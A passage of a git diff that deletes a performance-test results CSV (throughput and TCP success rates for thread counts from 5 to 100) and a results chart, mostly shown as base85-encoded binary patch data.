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 Rn(9NN@<8LSf_vt{{{|6QRiXd@ diff --git a/tools/perftest/results/param_tests/mt_results.csv b/tools/perftest/results/param_tests/mt_results.csv deleted file mode 100644 index ea0a4e29..00000000 --- a/tools/perftest/results/param_tests/mt_results.csv +++ /dev/null @@ -1,6 +0,0 @@ -"module_threads","duration_ms","packets_per_sec","tcp_success","tcp_failed","success_rate" -"5","15211","83.49","759","511","59.76" -"10","15253","83.26","759","511","59.76" -"20","15221","83.44","759","511","59.76" -"50","15254","83.26","759","511","59.76" -"100","15217","83.46","759","511","59.76" diff --git a/tools/perftest/results/param_tests/param_test_chart.png b/tools/perftest/results/param_tests/param_test_chart.png deleted file mode 100644 index c66e42adeafe99cceaacc8d8f86713fc266384c2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 98653 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 